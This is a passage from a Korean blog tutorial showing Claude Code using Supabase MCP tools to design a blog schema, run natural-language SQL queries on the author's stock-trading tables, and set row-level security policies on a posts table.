&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 실전 활용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;!-- SCREENSHOT: Claude Code에서 Supabase MCP tool 목록이 보이는 /mcp 화면 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 자연어로 DB 스키마 설계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;새 프로젝트 시작할 때 ERD 그리기도 전에 Claude Code에서 바로 스키마를 잡아보는 흐름이다.&lt;/p&gt;
&lt;!-- SCREENSHOT: 스키마 설계 대화 전체 흐름 (프롬프트 입력 → apply_migration 결과) --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 블로그 서비스를 만들려고 해. users, posts, comments, tags 테이블이 필요하고, posts와 tags는 다대다 관계야. RLS도 기본으로 설정해줘. Supabase에 스키마 만들어줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[list_tables 호출 &amp;rarr; 현재 테이블 없음 확인]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 현재 public 스키마에 테이블이 없습니다. 요구사항에 맞게 5개 테이블(users, posts, comments, tags, post_tags)과 RLS 정책을 포함한 마이그레이션을 생성하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[apply_migration 호출 &amp;mdash; name: &quot;create_blog_schema&quot;]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 마이그레이션이 완료되었습니다. 생성된 구조:&lt;br /&gt;&amp;bull; &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;users&lt;/code&gt; &amp;mdash; id(UUID), email(TEXT UNIQUE), created_at&lt;br /&gt;&amp;bull; &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;posts&lt;/code&gt; &amp;mdash; id, user_id(FK&amp;rarr;users), title, content, published, created_at&lt;br /&gt;&amp;bull; &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;comments&lt;/code&gt; &amp;mdash; id, post_id(FK&amp;rarr;posts), user_id(FK&amp;rarr;users), body, created_at&lt;br /&gt;&amp;bull; &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;tags&lt;/code&gt; &amp;mdash; id, name(UNIQUE)&lt;br /&gt;&amp;bull; &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;post_tags&lt;/code&gt; &amp;mdash; post_id + tag_id (다대다 조인 테이블)&lt;br /&gt;모든 테이블에 RLS가 활성화되었고, 인증된 사용자만 자기 데이터를 CRUD할 수 있는 기본 정책이 적용되었습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# Claude Code 내부 동작 (tool 호출)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;list_tables&lt;/span&gt;(schemas: [&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;public&quot;&lt;/span&gt;])&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&amp;rarr; 현재 테이블 없음 확인&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;apply_migration&lt;/span&gt;(name: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;create_blog_schema&quot;&lt;/span&gt;, query: &lt;span style=&quot;color: #ce9178;&quot;&gt;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;CREATE TABLE users (&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;id UUID DEFAULT gen_random_uuid() PRIMARY KEY,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;email TEXT UNIQUE NOT NULL,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;created_at TIMESTAMPTZ DEFAULT NOW()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;CREATE TABLE posts (&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;id UUID DEFAULT gen_random_uuid() PRIMARY KEY,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;user_id UUID REFERENCES users(id) ON DELETE CASCADE,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;title TEXT NOT NULL,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;content TEXT,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;published BOOLEAN DEFAULT FALSE,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;created_at TIMESTAMPTZ DEFAULT NOW()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- ... comments, tags, post_tags 테이블 및 RLS 정책&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;`&lt;/span&gt;)&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&amp;rarr; 마이그레이션 완료: 5개 테이블, RLS 정책 설정됨&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고: 실제 프로젝트에서 list_tables를 호출하면?&lt;/b&gt;&lt;br /&gt;이미 테이블이 있는 프로젝트에서 &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;list_tables&lt;/code&gt;를 호출하면 다음과 같이 기존 스키마를 파악할 수 있다. 아래는 실제 Supabase 프로젝트(서울 리전, PostgreSQL 17)에서 조회한 결과다.
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 10px 0 0 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;list_tables&lt;/span&gt;(schemas: [&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;public&quot;&lt;/span&gt;], verbose: false)&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&amp;rarr; 20개 테이블 발견:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;goddaehee_blog_posts (RLS ✓) | goddaehee_documents (4,717행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;intraday_top50_members (40,400행) | alert_events (2,826행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;dart_financial_snapshots (26,168행) | intraday_bars_5m (15,815행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;trade_universe_snapshots (28행) | trading_risk_policy (1행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;... 외 12개 테이블&lt;/span&gt;&lt;/div&gt;
Claude는 이 정보를 보고 테이블 간 FK 관계, 컬럼 타입 같은 걸 파악한 다음 SQL을 짠다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 자연어로 SQL 쿼리 실행 및 결과 분석&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SQL을 직접 안 짜고 자연어로 데이터를 뽑아보는 시나리오다. 아래는 실제로 내 Supabase 프로젝트(주식 트레이딩 데이터, 40,000건 넘음)에서 돌려본 결과다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 거래량 급증률이 가장 높은 종목 Top 5를 보여줘. 종목명, 현재가, 등락률, 급등률을 포함해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[execute_sql 호출 &amp;mdash; SELECT ... FROM intraday_top50_members ORDER BY surge_rate DESC LIMIT 5]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 조회 결과입니다:&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0; overflow-x: auto;&quot;&gt;| rank | stock_name | current_price | change_rate | surge_rate |&lt;br /&gt;|------|------------|---------------|-------------|------------|&lt;br /&gt;| 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 흥아해운&amp;nbsp;&amp;nbsp;&amp;nbsp;| 3,035&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| +29.98%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 66.90&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;| 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 대한해운&amp;nbsp;&amp;nbsp;&amp;nbsp;| 2,515&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| +14.32%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 875.74&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;| 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 남선알미늄&amp;nbsp;| 1,723&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| +14.41%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 34.67&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;| 4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 빛과전자&amp;nbsp;&amp;nbsp;&amp;nbsp;| 1,678&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| +18.50%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 195.42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;| 5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 센서뷰&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 4,562&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| +24.64%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| 77.52&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;/div&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 대한해운이 surge_rate 875.74로 압도적 1위입니다. 해운 섹터(흥아해운, 대한해운)가 상위권을 차지하고 있어 해운 업종에 테마 수급이 몰린 것으로 보입니다. 흥아해운은 등락률 +29.98%로 가장 높은 가격 변동을 보이고 있습니다.&lt;br /&gt;&lt;br /&gt;ex) 실제 수행 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1736&quot; data-origin-height=&quot;994&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkf7D7/dJMcacCnZTg/AedtpFimNjlCwKjAbnnFik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkf7D7/dJMcacCnZTg/AedtpFimNjlCwKjAbnnFik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkf7D7/dJMcacCnZTg/AedtpFimNjlCwKjAbnnFik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdkf7D7%2FdJMcacCnZTg%2FAedtpFimNjlCwKjAbnnFik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1736&quot; height=&quot;994&quot; data-origin-width=&quot;1736&quot; data-origin-height=&quot;994&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 내 프로젝트에서 돌려본 결과&lt;/b&gt;&lt;br /&gt;위 예시는 진짜 내 Supabase 프로젝트에서 &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;로 뽑은 거다. &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;intraday_top50_members&lt;/code&gt;(40,360건), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;alert_events&lt;/code&gt;(2,867건), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;dart_financial_snapshots&lt;/code&gt;(26,168건) 등 20개 테이블이 있는 프로젝트인데, &quot;거래량 급증 종목 보여줘&quot; 한 줄로 SQL이 만들어져서 바로 결과가 나왔다.&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 실제 tool 호출&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;execute_sql&lt;/span&gt;(query: &lt;span style=&quot;color: #ce9178;&quot;&gt;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;SELECT&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;rank_no,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;stock_name,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;current_price,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;change_rate,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;surge_rate&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;FROM intraday_top50_members&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;ORDER BY created_at DESC, surge_rate DESC&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;LIMIT 5&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;`&lt;/span&gt;)&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&amp;rarr; 5개 행 반환&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 테이블 기반 추가 예제 SQL&lt;/b&gt;&lt;br /&gt;위 프로젝트의 실제 테이블 구조를 기반으로, 자주 쓰게 되는 분석 쿼리 예시를 정리해봤다. 자연어로 요청하면 Claude가 아래와 비슷한 SQL을 알아서 짜준다.
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 10px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 최근 7일간 급등 Top50 일별 진입 건수&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;SELECT&lt;/span&gt; date_trunc(&lt;span style=&quot;color: #ce9178;&quot;&gt;'day'&lt;/span&gt;, created_at) &lt;span style=&quot;color: #569cd6;&quot;&gt;AS&lt;/span&gt; day,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count(*) &lt;span style=&quot;color: #569cd6;&quot;&gt;AS&lt;/span&gt; entry_count&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;FROM&lt;/span&gt; public.intraday_top50_members&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;WHERE&lt;/span&gt; created_at &amp;gt;= now() - interval &lt;span style=&quot;color: #ce9178;&quot;&gt;'7 days'&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;GROUP BY&lt;/span&gt; day &lt;span style=&quot;color: #569cd6;&quot;&gt;ORDER BY&lt;/span&gt; day;&lt;/div&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 10px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 종목별 알림 발생 빈도 TOP 10&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;SELECT&lt;/span&gt; stock_code, stock_name,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count(*) &lt;span style=&quot;color: #569cd6;&quot;&gt;AS&lt;/span&gt; alert_count,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count(&lt;span style=&quot;color: #569cd6;&quot;&gt;DISTINCT&lt;/span&gt; event_type) &lt;span style=&quot;color: #569cd6;&quot;&gt;AS&lt;/span&gt; event_types&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;FROM&lt;/span&gt; public.alert_events&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;GROUP BY&lt;/span&gt; stock_code, stock_name&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;ORDER BY&lt;/span&gt; alert_count &lt;span style=&quot;color: #569cd6;&quot;&gt;DESC&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;LIMIT&lt;/span&gt; 10;&lt;/div&gt;
&lt;b&gt;참고:&lt;/b&gt; 실제 테이블 목록 &amp;mdash; &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;intraday_top50_members&lt;/code&gt;(40,360건, 급등 Top50 실시간 진입), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;alert_events&lt;/code&gt;(2,867건, 주식 알림 이벤트), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;dart_financial_snapshots&lt;/code&gt;(26,168건, DART 재무제표), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;intraday_bars_5m&lt;/code&gt;(15,815건, 5분봉 OHLCV), &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;goddaehee_documents&lt;/code&gt;(4,717건, RAG 문서 청크 + 벡터 임베딩)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: RLS 정책 설정 대화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 테이블에 RLS를 거는 과정이다. 보안 설정은 한 번 실수하면 골치 아프니까, AI가 정책을 먼저 제안하고 내가 확인한 다음 적용하는 식으로 진행하는 게 안전하다.&lt;/p&gt;
&lt;!-- SCREENSHOT: RLS 정책 설정 대화 (apply_migration으로 정책 적용) --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; posts 테이블에 RLS를 설정해줘. 누구나 읽을 수 있지만 작성/수정/삭제는 본인만 가능하게.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 다음 RLS 정책을 적용하겠습니다:&lt;br /&gt;1. &lt;b&gt;SELECT&lt;/b&gt; &amp;mdash; 모든 사용자 허용 (익명 포함)&lt;br /&gt;2. &lt;b&gt;INSERT&lt;/b&gt; &amp;mdash; 인증된 사용자만, user_id = auth.uid()&lt;br /&gt;3. &lt;b&gt;UPDATE&lt;/b&gt; &amp;mdash; user_id = auth.uid()인 행만&lt;br /&gt;4. &lt;b&gt;DELETE&lt;/b&gt; &amp;mdash; user_id = auth.uid()인 행만&lt;br /&gt;&lt;br /&gt;이 정책을 적용할까요?&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 네, 적용해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[apply_migration 호출 &amp;mdash; name: &quot;add_posts_rls_policies&quot;]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 마이그레이션이 완료되었습니다. posts 테이블에 4개의 RLS 정책이 적용되었습니다. 확인을 위해 현재 정책을 조회해보겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[execute_sql 호출 &amp;mdash; pg_policies 테이블 조회]&lt;/i&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# apply_migration으로 적용된 SQL&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;ALTER TABLE&lt;/span&gt; posts &lt;span style=&quot;color: #569cd6;&quot;&gt;ENABLE&lt;/span&gt; ROW LEVEL SECURITY;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 누구나 읽기 가능&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;CREATE POLICY&lt;/span&gt; &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;posts_select_all&quot;&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;ON&lt;/span&gt; posts&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;FOR SELECT USING&lt;/span&gt; (&lt;span style=&quot;color: #569cd6;&quot;&gt;true&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 본인만 생성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;CREATE POLICY&lt;/span&gt; &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;posts_insert_own&quot;&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;ON&lt;/span&gt; posts&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;FOR INSERT WITH CHECK&lt;/span&gt; (auth.uid() = user_id);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 본인만 수정&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;CREATE POLICY&lt;/span&gt; &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;posts_update_own&quot;&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;ON&lt;/span&gt; posts&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;FOR UPDATE USING&lt;/span&gt; (auth.uid() = user_id);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;-- 본인만 삭제&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;CREATE POLICY&lt;/span&gt; &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;posts_delete_own&quot;&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;ON&lt;/span&gt; posts&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;FOR DELETE USING&lt;/span&gt; (auth.uid() = user_id);&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
